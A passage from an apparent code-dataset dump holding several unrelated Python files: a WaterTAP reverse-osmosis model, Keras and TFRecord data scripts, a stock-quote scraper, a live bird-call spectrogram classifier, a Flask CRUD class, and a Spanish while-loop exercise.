self.feed_side = feed_side = ControlVolume1DBlock(\n default={\n \"dynamic\": self.config.dynamic,\n \"has_holdup\": self.config.has_holdup,\n \"area_definition\": self.config.area_definition,\n \"property_package\": self.config.property_package,\n \"property_package_args\": self.config.property_package_args,\n \"transformation_method\": self.config.transformation_method,\n \"transformation_scheme\": self.config.transformation_scheme,\n \"finite_elements\": self.config.finite_elements,\n \"collocation_points\": self.config.collocation_points,\n }\n )\n\n # Add geometry to feed side\n feed_side.add_geometry()\n # Add state blocks to feed side\n feed_side.add_state_blocks(has_phase_equilibrium=False)\n # Populate feed side\n feed_side.add_material_balances(\n balance_type=self.config.material_balance_type, has_mass_transfer=True\n )\n feed_side.add_momentum_balances(\n balance_type=self.config.momentum_balance_type,\n has_pressure_change=self.config.has_pressure_change,\n )\n # Apply transformation to feed side\n feed_side.apply_transformation()\n add_object_reference(self, \"length_domain\", self.feed_side.length_domain)\n self.first_element = self.length_domain.first()\n self.difference_elements = Set(\n ordered=True,\n initialize=(x for x in self.length_domain if x != self.first_element),\n )\n\n # Add inlet/outlet ports for feed side\n self.add_inlet_port(name=\"inlet\", block=feed_side)\n self.add_outlet_port(name=\"retentate\", block=feed_side)\n # Make indexed stateblock and separate stateblock for permeate-side and permeate outlet, respectively.\n tmp_dict = dict(**self.config.property_package_args)\n tmp_dict[\"has_phase_equilibrium\"] = False\n tmp_dict[\"parameters\"] = self.config.property_package\n tmp_dict[\"defined_state\"] = False # these blocks are not inlets\n self.permeate_side = self.config.property_package.state_block_class(\n self.flowsheet().config.time,\n self.length_domain,\n doc=\"Material properties of permeate along permeate channel\",\n default=tmp_dict,\n )\n self.mixed_permeate = self.config.property_package.state_block_class(\n self.flowsheet().config.time,\n doc=\"Material properties of mixed permeate exiting the module\",\n default=tmp_dict,\n )\n\n # Membrane interface: indexed state block\n self.feed_side.properties_interface = (\n self.config.property_package.state_block_class(\n self.flowsheet().config.time,\n self.length_domain,\n doc=\"Material properties of feed-side membrane interface\",\n default=tmp_dict,\n )\n )\n\n # Add port to mixed_permeate\n self.add_port(name=\"permeate\", block=self.mixed_permeate)\n\n # ==========================================================================\n \"\"\" Add references to control volume geometry.\"\"\"\n add_object_reference(self, \"length\", feed_side.length)\n add_object_reference(self, \"area_cross\", feed_side.area)\n\n # Add reference to pressure drop for feed side only\n if (\n self.config.has_pressure_change is True\n and self.config.momentum_balance_type != MomentumBalanceType.none\n ):\n add_object_reference(self, \"dP_dx\", feed_side.deltaP)\n\n self._make_performance()\n\n self._add_expressions()\n\n def _make_performance(self):\n \"\"\"\n Variables and constraints for unit model.\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n\n solvent_set = self.config.property_package.solvent_set\n solute_set = self.config.property_package.solute_set\n\n # Units\n units_meta = self.config.property_package.get_metadata().get_derived_units\n\n # ==========================================================================\n\n self.width = Var(\n initialize=1,\n bounds=(1e-1, 1e3),\n domain=NonNegativeReals,\n units=units_meta(\"length\"),\n doc=\"Membrane width\",\n )\n\n super()._make_performance()\n\n # mass transfer\n def mass_transfer_phase_comp_initialize(b, t, x, p, j):\n return value(\n self.feed_side.properties[t, x].get_material_flow_terms(\"Liq\", j)\n * self.recovery_mass_phase_comp[t, \"Liq\", j]\n )\n\n self.mass_transfer_phase_comp = Var(\n self.flowsheet().config.time,\n self.length_domain,\n self.config.property_package.phase_list,\n self.config.property_package.component_list,\n initialize=mass_transfer_phase_comp_initialize,\n bounds=(1e-8, 1e6),\n domain=NonNegativeReals,\n units=units_meta(\"mass\")\n * units_meta(\"time\") ** -1\n * units_meta(\"length\") ** -1,\n doc=\"Mass transfer to permeate\",\n )\n\n if self.config.has_pressure_change:\n self.deltaP = Var(\n self.flowsheet().config.time,\n initialize=-1e5,\n bounds=(-1e6, 0),\n domain=NegativeReals,\n units=units_meta(\"pressure\"),\n doc=\"Pressure drop across unit\",\n )\n\n # ==========================================================================\n # Mass transfer term equation\n\n @self.Constraint(\n self.flowsheet().config.time,\n self.difference_elements,\n self.config.property_package.phase_list,\n self.config.property_package.component_list,\n doc=\"Mass transfer term\",\n )\n def eq_mass_transfer_term(b, t, x, p, j):\n return (\n b.mass_transfer_phase_comp[t, x, p, j]\n == -b.feed_side.mass_transfer_term[t, x, p, j]\n )\n\n # ==========================================================================\n # Mass flux = feed mass transfer equation\n\n @self.Constraint(\n self.flowsheet().config.time,\n self.difference_elements,\n self.config.property_package.phase_list,\n self.config.property_package.component_list,\n doc=\"Mass transfer term\",\n )\n def eq_mass_flux_equal_mass_transfer(b, t, x, p, j):\n return (\n b.flux_mass_phase_comp[t, x, p, j] * b.width\n == -b.feed_side.mass_transfer_term[t, x, p, j]\n )\n\n # ==========================================================================\n # Mass flux equations (Jw and Js)\n\n # ==========================================================================\n # Final permeate mass flow rate (of solvent and solute) --> Mp,j, final = sum(Mp,j)\n\n @self.Constraint(\n self.flowsheet().config.time,\n self.config.property_package.phase_list,\n self.config.property_package.component_list,\n doc=\"Permeate mass flow rates exiting unit\",\n )\n def eq_permeate_production(b, t, p, j):\n return b.mixed_permeate[t].get_material_flow_terms(p, j) == sum(\n b.permeate_side[t, x].get_material_flow_terms(p, j)\n for x in b.difference_elements\n )\n\n # ==========================================================================\n # Feed and permeate-side mass transfer connection --> Mp,j = Mf,transfer = Jj * W * L/n\n\n @self.Constraint(\n self.flowsheet().config.time,\n self.difference_elements,\n self.config.property_package.phase_list,\n self.config.property_package.component_list,\n doc=\"Mass transfer from feed to permeate\",\n )\n def eq_connect_mass_transfer(b, t, x, p, j):\n return (\n b.permeate_side[t, x].get_material_flow_terms(p, j)\n == -b.feed_side.mass_transfer_term[t, x, p, j] * b.length / b.nfe\n )\n\n ## ==========================================================================\n # Pressure drop\n if (\n self.config.pressure_change_type == PressureChangeType.fixed_per_unit_length\n or self.config.pressure_change_type == PressureChangeType.calculated\n ):\n\n @self.Constraint(\n self.flowsheet().config.time, doc=\"Pressure drop across unit\"\n )\n def eq_pressure_drop(b, t):\n return b.deltaP[t] == sum(\n b.dP_dx[t, x] * b.length / b.nfe for x in b.difference_elements\n )\n\n if (\n self.config.pressure_change_type == PressureChangeType.fixed_per_stage\n and self.config.has_pressure_change\n ):\n\n @self.Constraint(\n self.flowsheet().config.time,\n self.length_domain,\n doc=\"Fixed pressure drop across unit\",\n )\n def eq_pressure_drop(b, t, x):\n return b.deltaP[t] == b.length * b.dP_dx[t, x]\n\n ## ==========================================================================\n # Feed-side isothermal conditions\n # NOTE: this could go on the feed_side block, but that seems to hurt initialization\n # in the tests for this unit\n @self.Constraint(\n self.flowsheet().config.time,\n self.difference_elements,\n doc=\"Isothermal assumption for feed channel\",\n )\n def eq_feed_isothermal(b, t, x):\n return (\n b.feed_side.properties[t, b.first_element].temperature\n == b.feed_side.properties[t, x].temperature\n )\n\n def initialize_build(\n blk,\n initialize_guess=None,\n state_args=None,\n outlvl=idaeslog.NOTSET,\n solver=None,\n optarg=None,\n fail_on_warning=False,\n ignore_dof=False,\n ):\n \"\"\"\n Initialization routine for 1D-RO unit.\n\n Keyword Arguments:\n initialize_guess : a dict of guesses for solvent_recovery, solute_recovery,\n and cp_modulus. These guesses offset the initial values\n for the retentate, permeate, and membrane interface\n state blocks from the inlet feed\n (default =\n {'deltaP': -1e4,\n 'solvent_recovery': 0.5,\n 'solute_recovery': 0.01,\n 'cp_modulus': 1.1})\n state_args : a dict of arguments to be passed to the property\n package(s) to provide an initial state for the inlet\n feed side state block (see documentation of the specific\n property package) (default = None).\n outlvl : sets output level of initialization routine\n solver : str indicating which solver to use during\n initialization (default = None, use default solver)\n optarg : solver options dictionary object (default=None, use default solver options)\n fail_on_warning : boolean argument to fail or only produce warning upon unsuccessful solve (default=False)\n ignore_dof : boolean argument to ignore when DOF != 0 (default=False)\n Returns:\n None\n\n \"\"\"\n\n init_log = idaeslog.getInitLogger(blk.name, outlvl, tag=\"unit\")\n solve_log = idaeslog.getSolveLogger(blk.name, outlvl, tag=\"unit\")\n\n # Create solver\n opt = get_solver(solver, optarg)\n\n source = blk.feed_side.properties[\n blk.flowsheet().config.time.first(), blk.first_element\n ]\n state_args = blk._get_state_args(\n source, blk.mixed_permeate[0], initialize_guess, state_args\n )\n\n # ---------------------------------------------------------------------\n # Step 1: Initialize feed_side, permeate_side, and mixed_permeate blocks\n flags_feed_side = blk.feed_side.initialize(\n outlvl=outlvl,\n optarg=optarg,\n solver=solver,\n state_args=state_args[\"feed_side\"],\n hold_state=True,\n )\n\n init_log.info(\"Initialization Step 1 Complete\")\n if not ignore_dof:\n check_dof(blk, fail_flag=fail_on_warning, logger=init_log)\n # ---------------------------------------------------------------------\n # Initialize other state blocks\n # base properties on inlet state block\n\n flag_feed_side_properties_interface = (\n blk.feed_side.properties_interface.initialize(\n outlvl=outlvl,\n optarg=optarg,\n solver=solver,\n state_args=state_args[\"interface\"],\n )\n )\n flags_permeate_side = blk.permeate_side.initialize(\n outlvl=outlvl,\n optarg=optarg,\n solver=solver,\n state_args=state_args[\"permeate\"],\n )\n flags_mixed_permeate = blk.mixed_permeate.initialize(\n outlvl=outlvl,\n optarg=optarg,\n solver=solver,\n state_args=state_args[\"permeate\"],\n )\n init_log.info(\"Initialization Step 2 Complete.\")\n\n # ---------------------------------------------------------------------\n # Solve unit\n with idaeslog.solver_log(solve_log, idaeslog.DEBUG) as slc:\n res = opt.solve(blk, tee=slc.tee)\n # occasionally it might be worth retrying a solve\n if not check_optimal_termination(res):\n init_log.warning(\n \"Trouble solving ReverseOsmosis1D unit model, trying one more time\"\n )\n res = opt.solve(blk, tee=slc.tee)\n check_solve(\n res,\n logger=init_log,\n fail_flag=fail_on_warning,\n checkpoint=\"Initialization Step 3\",\n )\n # ---------------------------------------------------------------------\n # Release Inlet state\n blk.feed_side.release_state(flags_feed_side, outlvl)\n init_log.info(\"Initialization Complete: {}\".format(idaeslog.condition(res)))\n\n def calculate_scaling_factors(self):\n if iscale.get_scaling_factor(self.dens_solvent) is None:\n sf = iscale.get_scaling_factor(\n self.feed_side.properties[0, 0].dens_mass_phase[\"Liq\"]\n )\n iscale.set_scaling_factor(self.dens_solvent, sf)\n\n super().calculate_scaling_factors()\n\n # these variables should have user input, if not there will be a warning\n if iscale.get_scaling_factor(self.width) is None:\n sf = iscale.get_scaling_factor(self.width, default=1, warning=True)\n iscale.set_scaling_factor(self.width, sf)\n\n if iscale.get_scaling_factor(self.length) is None:\n sf = iscale.get_scaling_factor(self.length, default=10, warning=True)\n iscale.set_scaling_factor(self.length, sf)\n\n # setting scaling factors for variables\n\n # will not override if the user provides the scaling factor\n ## default of 1 set by ControlVolume1D\n if iscale.get_scaling_factor(self.area_cross) == 1:\n iscale.set_scaling_factor(self.area_cross, 100)\n\n for (t, x, p, j), v in self.mass_transfer_phase_comp.items():\n sf = (\n iscale.get_scaling_factor(\n self.feed_side.properties[t, x].get_material_flow_terms(p, j)\n )\n / iscale.get_scaling_factor(self.feed_side.length)\n ) * value(self.nfe)\n if iscale.get_scaling_factor(v) is None:\n iscale.set_scaling_factor(v, sf)\n v = self.feed_side.mass_transfer_term[t, x, p, j]\n if iscale.get_scaling_factor(v) is None:\n iscale.set_scaling_factor(v, sf)\n\n if hasattr(self, \"deltaP\"):\n for v in self.deltaP.values():\n if iscale.get_scaling_factor(v) is None:\n iscale.set_scaling_factor(v, 1e-4)\n\n if hasattr(self, \"dP_dx\"):\n for v in self.feed_side.pressure_dx.values():\n iscale.set_scaling_factor(v, 1e-5)\n else:\n for v in self.feed_side.pressure_dx.values():\n iscale.set_scaling_factor(v, 1e5)\n","sub_path":"watertap/unit_models/reverse_osmosis_1D.py","file_name":"reverse_osmosis_1D.py","file_ext":"py","file_size_in_byte":21703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"235961347","text":"import sys\nimport csv, numpy as np, tensorflow as tf, os, time\nimport os\nfrom scipy import spatial\nimport keras\nfrom keras.models import Sequential\nfrom keras.utils.np_utils import to_categorical\nfrom keras.layers import Dense, Activation, Dropout\nfrom keras.callbacks import ModelCheckpoint\nfrom keras import optimizers\n\n\"\"\"\nclasses assigned to each ratio\n\"\"\"\nratio0Y=0\nratio19=1\nratio15=2\nratio14=3\nratio13=4\nratio12=5\nratio23=6\nratio34=7\nratio11=8\nratio43=9\nratio32=10\nratio21=11\nratio31=12\nratio41=13\nratio51=14\nratio91=15\nratioX0=16\n\n\ndef read_data(data_path):\n \"\"\"\n it reads train/validation/test files\n \"\"\"\n tr = data_path + 'train_vectors.txt'\n v = data_path + 'val_vectors.txt'\n tst = data_path + 'test_vectors.txt'\n return tr, v, tst\n\ndef load_data(split):\n \"\"\"\n load frozen vectors and labels\n \"\"\"\n with open(split,'r') as splitfile:\n print(\"importing training feature vectors...\")\n reader = [line.split() for line in splitfile]\n x_sp = np.zeros((len(reader),2048)) # size of frozen vectors\n y_sp = np.zeros((len(reader)))\n for counter, row in enumerate(reader):\n path = row[0]\n ratio = path.split('/')[-2]\n prob = eval(ratio)\n y_sp[counter] = prob\n feat_vector = [float(x) for x in row[1:]]\n x_sp[counter] = feat_vector\n\n x_split = x_sp.reshape((len(reader),2048))\n y_split = y_sp.reshape((len(reader)))\n return x_split, y_split\n\n\nif __name__ == '__main__':\n \"\"\"\n it reads the parameters,\n initializes the hyperparameters,\n preprocesses the input,\n trains the model\n \"\"\"\n data_path = sys.argv[1]\n tr, v, tst = read_data(data_path)\n x_train, y_train = load_data(tr)\n x_val, y_val = load_data(v)\n\n # data parameters\n dim_vectors = 2048\n\n # model parameters\n batch_size = 64\n half_size = dim_vectors/2\n hidden_units = 64\n opt = \"sgd\"\n drop = 0.5\n\n # define model\n model = Sequential()\n model.add(Dense(units=half_size, input_dim=dim_vectors))\n model.add(Activation('relu'))\n model.add(Dropout(drop))\n model.add(Dense(units=hidden_units, input_dim=half_size))\n model.add(Activation('relu'))\n model.add(Dense(units=17)) # no. of classes\n model.add(Activation('softmax'))\n\n filepath= 'best_model/weight.best.hdf5'\n\n checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n callbacks_list = [checkpoint]\n\n\n model.compile(loss=keras.losses.sparse_categorical_crossentropy,\n optimizer=opt,\n metrics=['accuracy'])\n\n\n print('Train the model...')\n model.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=100,\n validation_data=[x_val, y_val],\n callbacks=callbacks_list)\n\n classes = model.predict(x_val, batch_size=batch_size)\n\n loss_and_metrics = model.evaluate(x_val,y_val, batch_size=batch_size)\n print('validation loss:',loss_and_metrics)\n\n","sub_path":"code/proptarg-frozen/train_proptarg.py","file_name":"train_proptarg.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"2636287","text":"import tensorflow as tf\nimport sys\nimport pandas as pd\nimport os\nimport contextlib2\n\n# user needs to define the followings\nsys.path.append('/home/arman/treecoin/models/research')\n\nfrom object_detection.core import standard_fields\nfrom object_detection.utils import dataset_util\nfrom object_detection.utils import label_map_util\nfrom object_detection.dataset_tools import tf_record_creation_util\n\n# user needs to define the followings\nimage_input_path = '/home/arman/Desktop/Trial/Images/Train/'\noutput_path = '/home/arman/Desktop/Trial/TFR/train.tfrecord'\nlabel_map_path = '/home/arman/Desktop/Trial/Label_map/label_map_tree.pbtxt'\nannotation_data_file = '/home/arman/Desktop/Trial/Annotation/label_tree_data/OID_annotation_tree_train.csv'\nnum_shards = 30\n\n\ndef tf_example_from_annotations_data_frame(annotations_data_frame, label_map,\n encoded_image):\n \n \"\"\"Populates a TF Example message with image annotations from a data frame.\n\n Args:\n annotations_data_frame: Data frame containing the annotations for a single\n image.\n label_map: String to integer label map.\n encoded_image: encoded image\n\n Returns:\n The populated TF Example, if the label of at least one object is present in\n label_map. Otherwise, returns None.\n \"\"\"\n filtered_data_frame = annotations_data_frame[\n annotations_data_frame.LabelName.isin(label_map)]\n filtered_data_frame_boxes = filtered_data_frame[\n ~filtered_data_frame.YMin.isnull()]\n filtered_data_frame_labels = filtered_data_frame[\n filtered_data_frame.YMin.isnull()]\n image_id = annotations_data_frame.ImageID.iloc[0]\n\n feature_map = {\n standard_fields.TfExampleFields.object_bbox_ymin:\n dataset_util.float_list_feature(\n filtered_data_frame_boxes.YMin.as_matrix()),\n standard_fields.TfExampleFields.object_bbox_xmin:\n dataset_util.float_list_feature(\n filtered_data_frame_boxes.XMin.as_matrix()),\n standard_fields.TfExampleFields.object_bbox_ymax:\n dataset_util.float_list_feature(\n filtered_data_frame_boxes.YMax.as_matrix()),\n standard_fields.TfExampleFields.object_bbox_xmax:\n dataset_util.float_list_feature(\n filtered_data_frame_boxes.XMax.as_matrix()),\n standard_fields.TfExampleFields.object_class_text:\n dataset_util.bytes_list_feature(\n filtered_data_frame_boxes.LabelName.as_matrix()),\n standard_fields.TfExampleFields.object_class_label:\n dataset_util.int64_list_feature(\n filtered_data_frame_boxes.LabelName.map(lambda x: label_map[x])\n .as_matrix()),\n standard_fields.TfExampleFields.filename:\n dataset_util.bytes_feature('{}.jpg'.format(image_id)),\n standard_fields.TfExampleFields.source_id:\n dataset_util.bytes_feature(image_id),\n standard_fields.TfExampleFields.image_encoded:\n dataset_util.bytes_feature(encoded_image),\n }\n\n if 'IsGroupOf' in filtered_data_frame.columns:\n feature_map[standard_fields.TfExampleFields.\n object_group_of] = dataset_util.int64_list_feature(\n filtered_data_frame_boxes.IsGroupOf.as_matrix().astype(int))\n if 'IsOccluded' in filtered_data_frame.columns:\n feature_map[standard_fields.TfExampleFields.\n object_occluded] = dataset_util.int64_list_feature(\n filtered_data_frame_boxes.IsOccluded.as_matrix().astype(\n int))\n if 'IsTruncated' in filtered_data_frame.columns:\n feature_map[standard_fields.TfExampleFields.\n object_truncated] = dataset_util.int64_list_feature(\n filtered_data_frame_boxes.IsTruncated.as_matrix().astype(\n int))\n if 'IsDepiction' in filtered_data_frame.columns:\n feature_map[standard_fields.TfExampleFields.\n object_depiction] = dataset_util.int64_list_feature(\n filtered_data_frame_boxes.IsDepiction.as_matrix().astype(\n int))\n\n if 'ConfidenceImageLabel' in filtered_data_frame_labels.columns:\n feature_map[standard_fields.TfExampleFields.\n image_class_label] = dataset_util.int64_list_feature(\n filtered_data_frame_labels.LabelName.map(\n lambda x: label_map[x]).as_matrix())\n feature_map[standard_fields.TfExampleFields.\n image_class_text] = dataset_util.bytes_list_feature(\n filtered_data_frame_labels.LabelName.as_matrix()),\n return tf.train.Example(features=tf.train.Features(feature=feature_map))\n\n\n\nlabel_map = label_map_util.get_label_map_dict(label_map_path)\nall_box_annotations = pd.read_csv(annotation_data_file)\nall_images = tf.gfile.Glob(os.path.join(image_input_path, '*.jpg'))\nall_image_ids = [os.path.splitext(os.path.basename(v))[0] for v in all_images]\nall_image_ids = pd.DataFrame({'ImageID': all_image_ids})\nall_annotations = pd.concat([all_box_annotations, all_image_ids], sort=False)\n\nwith contextlib2.ExitStack() as tf_record_close_stack:\n output_tfrecords = tf_record_creation_util.open_sharded_output_tfrecords(\n tf_record_close_stack, output_path, num_shards)\n \n for counter, image_data in enumerate(all_annotations.groupby('ImageID')):\n image_id, image_annotations = image_data\n \n image_path = os.path.join(image_input_path, image_id + '.jpg')\n with tf.gfile.Open(image_path) as image_file: \n encoded_image = image_file.read()\n \n tf_example = tf_example_from_annotations_data_frame(\n image_annotations, label_map, encoded_image)\n \n if tf_example:\n shard_idx = int(image_id, 16) % num_shards\n output_tfrecords[shard_idx].write(tf_example.SerializeToString())\n","sub_path":"TFR_Creator/TFRecord_creator_for_OID_python2.py","file_name":"TFRecord_creator_for_OID_python2.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"42474113","text":"\"\"\"\nPreenche a tabela.\n\nConsulta os dados e salva nas respectivas tabelas.\n\"\"\"\n\nimport os\nimport sqlite3\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nfrom datetime import date\nfrom threading import Thread\n\n\nconn = sqlite3.connect('b3.db', check_same_thread=False)\ncursor = conn.cursor()\ncodigos = cursor.execute(\"\"\"SELECT code FROM empresas\"\"\").fetchall()\nconn.close()\nurl = 'http://cotacoes.economia.uol.com.br/acao/index.html?codigo='\n\niteracoes = 0\n\n\ndef getvalues(start):\n for i in range(start, int(len(codigos)), 4):\n os.system('clear')\n global iteracoes\n iteracoes += 1\n print('Baixados %d / 1974.' % iteracoes)\n html = urlopen(url+codigos[i][0])\n bsObj = BeautifulSoup(html.read(), 'html5lib')\n body = bsObj.findAll(\"td\")\n dados = [j.getText() for j in body]\n if len(dados) > 1:\n del(dados[0])\n dados = [str(date.today())] + dados\n conn = sqlite3.connect('b3.db', check_same_thread=False)\n cursor = conn.cursor()\n command = 'INSERT INTO %s (data, var, var_percentual, ultima, maxima, minima, abertura, volume) VALUES (?, ?, ?, ?, ?, ?, ?, ?)' % codigos[i][0][:-3]\n cursor.execute(\"\"\"%s\"\"\" % command, dados)\n conn.commit()\n conn.close()\n\n\na = Thread(target=getvalues, args=(0,))\nb = Thread(target=getvalues, args=(1,))\nc = Thread(target=getvalues, args=(2,))\nd = Thread(target=getvalues, args=(3,))\n\na.start()\nb.start()\nc.start()\nd.start()\n","sub_path":"preencher.py","file_name":"preencher.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"521734860","text":"#!/usr/bin/env python3\n\"\"\"Plot the live microphone signal(s) with matplotlib.\n\nMatplotlib and NumPy have to be installed.\n\n\"\"\"\nimport argparse\nimport queue\nimport sys\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sounddevice as sd\nfrom PIL import Image\nimport librosa\nimport librosa.display as display\nfrom kapre.time_frequency import Melspectrogram\nimport collections\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing import image as keras_image\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\nimport numpy as np\nimport os\n\nIM_SIZE = (224,224,3)\ninput_saved_model_dir = '/home/carlos/w251-project/models/imgnet_mobilenet_v2_140_224/Fri_Jul_24_02_35_06_2020'\nclasses = [\"aldfly\", \"ameavo\", \"amebit\", \"amecro\", \"amegfi\", \"amekes\", \"amepip\", \"amered\", \"amerob\", \"amewig\", \n \"amewoo\", \"amtspa\", \"annhum\", \"astfly\", \"baisan\", \"baleag\", \"balori\", \"banswa\", \"barswa\", \"bawwar\"]\n\ndef int_or_str(text):\n \"\"\"Helper function for argument parsing.\"\"\"\n try:\n return int(text)\n except ValueError:\n return text\n\nparser = argparse.ArgumentParser(add_help=False)\nparser.add_argument(\n '-l', '--list-devices', action='store_true',\n help='show list of audio devices and exit')\nargs, remaining = parser.parse_known_args()\nif args.list_devices:\n print(sd.query_devices())\n parser.exit(0)\nparser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n parents=[parser])\nparser.add_argument(\n 'channels', type=int, default=[1], nargs='*', metavar='CHANNEL',\n help='input channels to plot (default: the first)')\nparser.add_argument(\n '-d', '--device', type=int_or_str,\n help='input device (numeric ID or substring)')\nparser.add_argument(\n '-w', '--window', type=float, default=200, metavar='DURATION',\n help='visible time slot (default: %(default)s ms)')\nparser.add_argument(\n '-i', '--interval', type=float, default=30,\n help='minimum time between plot updates (default: %(default)s ms)')\nparser.add_argument(\n '-b', '--blocksize', type=int, help='block size (in samples)')\nparser.add_argument(\n '-r', '--samplerate', type=float, help='sampling rate of audio device')\nparser.add_argument(\n '-n', '--downsample', type=int, default=10, metavar='N',\n help='display every Nth sample (default: %(default)s)')\nargs = parser.parse_args(remaining)\nif any(c < 1 for c in args.channels):\n parser.error('argument CHANNEL: must be >= 1')\nmapping = [c - 1 for c in args.channels] # Channel numbers start with 1\n\nmpl.use('TKAgg', force=True)\nfig, ax = plt.subplots()\nq = queue.Queue()\nd = collections.deque(maxlen=10000)\nthe_model = tf.keras.models.load_model(input_saved_model_dir)\nprint(the_model.summary())\n\ndef audio_callback(indata, frames, time, status):\n \"\"\"This is called (from a separate thread) for each audio block.\"\"\"\n # if status:\n # print(status, file=sys.stderr)\n # Fancy indexing with mapping creates a (necessary!) copy:\n q.put(indata[::args.downsample, mapping])\n\ndef my_decode_predictions(classes, preds, top=5):\n results = []\n for pred in preds:\n top_indices = pred.argsort()[-top:][::-1]\n result = [[classes[i], pred[i]] for i in top_indices]\n result.sort(key=lambda x: x[1], reverse=True)\n results.append(result)\n return results\n\ntry:\n stream = sd.InputStream(\n device=args.device, channels=max(args.channels),\n samplerate=args.samplerate, callback=audio_callback)\n with stream:\n try:\n while True:\n # print(\"stream params\", stream.blocksize, stream.samplerate, stream.samplesize, stream.latency)\n sr=stream.samplerate\n sd.sleep(3 * 1000)\n data_raw = [(q.get_nowait()).flatten() for i in range(q.qsize())]\n d.extend(data_raw)\n frames = (np.hstack(d)).flatten()\n melspec = Melspectrogram(n_dft=1024, \n n_hop=256,\n input_shape=(1, frames.shape[0]),\n padding='same', sr=sr, n_mels=224, fmin=1400, fmax=sr/2,\n power_melgram=2.0, return_decibel_melgram=True,\n trainable_fb=False, trainable_kernel=False)(frames.reshape(1, 1, -1)).numpy()\n melspec = melspec.reshape(melspec.shape[1], melspec.shape[2])\n print(f\"Frames array: {frames.shape}, Melspec array: {melspec.shape}\")\n melplot = display.specshow(melspec, sr=sr)\n melplot.set_frame_on(False)\n plt.tight_layout(pad=0)\n plt.draw()\n plt.pause(0.0001)\n plt.clf()\n if (melspec.shape[1] >= IM_SIZE[0]):\n img=Image.frombuffer(\"RGBA\", fig.canvas.get_width_height(),\n fig.canvas.buffer_rgba(), \"raw\", \"RGBA\", 0, 1)\n img = img.convert('RGB').resize(IM_SIZE[0:2])\n x = keras_image.img_to_array(img)\n # print(f\"image shape: {x.shape}\")\n x = preprocess_input(np.expand_dims(x, axis=0))\n preds = the_model.predict(x)\n print(f'\\nPredicted: {my_decode_predictions(classes, preds, top=5)[0]}\\n')\n\n except KeyboardInterrupt:\n pass\n\nexcept Exception as e:\n parser.exit(type(e).__name__ + ': ' + str(e))\n\n\n# # Optional image to test model prediction.\n# img_path = './aldfly1.png'\n\n# # Load the image for prediction.\n# img = image.load_img(img_path, target_size=(IMG_HEIGHT, IMG_HEIGHT))\n# x = image.img_to_array(img)\n# x = np.expand_dims(x, axis=0)\n# x = preprocess_input(x)\n\n# preds = the_model.predict(x)\n# # decode the results into a list of tuples (class, probability)\n# print('Predicted:', my_decode_predictions(classes, preds, top=20)[0])","sub_path":"edge/live_detect_melspec_keras.py","file_name":"live_detect_melspec_keras.py","file_ext":"py","file_size_in_byte":5937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"361492576","text":"from flask import Flask, jsonify, request,render_template\nfrom flask_mysqldb import MySQL\nfrom database import db, app \n\nclass Crud:\n \n cur=db.cursor()\n \n def __init__(self):\n pass\n def get(self):\n resultValue = self.cur.execute(\"SELECT * FROM store\")\n print(resultValue)\n if resultValue > 0:\n userDetails = self.cur.fetchall()\n print(userDetails)\n return jsonify(userDetails=userDetails) \n \n\n def post(self,request_data):\n new_store = {\n 'name': request_data['name'],\n 'price': request_data['price']\n }\n self.cur.execute(\"INSERT INTO store(name1, price) VALUES(%s, %s)\",(request_data['name'], request_data['price']))\n db.commit()\n return jsonify(new_store)\n \n\n def patch(self,request_data):\n new_store = {\n 'name': request_data['name'],\n 'price': request_data['price']\n }\n self.cur.execute(\"UPDATE store SET price =(%s) WHERE name1= (%s)\",(request_data['price'], request_data['name']))\n db.commit()\n return jsonify(new_store)\n \n def put(self, request_data):\n new_store = {\n 'name': request_data['name'],\n 'price': request_data['price']\n }\n resultValue = self.cur.execute(\"SELECT * FROM store where name1='name' \")\n if resultValue > 0:\n self.cur.execute(\"UPDATE store SET price =(%s) WHERE name1= (%s)\",(request_data['price'], request_data['name']))\n db.commit()\n self.cur.close()\n return jsonify(new_store)\n else:\n self.cur.execute(\"INSERT INTO store(name1, price) VALUES(%s, %s)\",(request_data['name'], request_data['price']))\n db.commit()\n return jsonify(new_store)\n\n\n","sub_path":"main_file/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"330748023","text":"#Autor: Eric Andrés Jardón Chao\r\n#Misión 07: Dos funciones con ciclos while.\r\n\r\ndef main():\r\n opcion=0\r\n while opcion != 3: #La opción 3 indica salir del menú\r\n print(\"Misión 07. Ciclos while.\\nAutor: Eric Andrés Jardón Chao\\nMatrícula A01376748.\")\r\n print(\"Teclee la opción que desea ejecutar.\\n\"\r\n \"1. Calcular divisiones.\\n2. Encontrar valor mayor.\\n3. Salir.\")\r\n opcion = int(input(\"Teclea tu opción: \"))\r\n if opcion == 1:\r\n probarDivisiones()\r\n elif opcion == 2:\r\n encontrarMayor()\r\n elif opcion !=3:\r\n print(\"ERROR: Trate con una opción válida.\")\r\n print (\"¡Regresa pronto!\") #Al finalizar el programa se despide.\r\n\r\n\r\ndef probarDivisiones():\r\n dividendo=int(input(\"Teclea el número a dividir (entero positivo)\"))\r\n divisor=int(input(\"Teclea el divisor (entero positivo)\"))\r\n dividir(dividendo,divisor)\r\n\r\ndef dividir(dividendo,divisor):\r\n cociente=0 #inicializa el contador\r\n resta=dividendo #La cantidad que queda cada vez que le restamos el divisor\r\n residuo=dividendo #valor default\r\n if divisor>0:\r\n while resta>=0: #Mientras la resta sea positiva seguimos restando\r\n resta=resta-divisor\r\n if resta>=0: #Si la resta es positiva, añadimos 1 al contador de 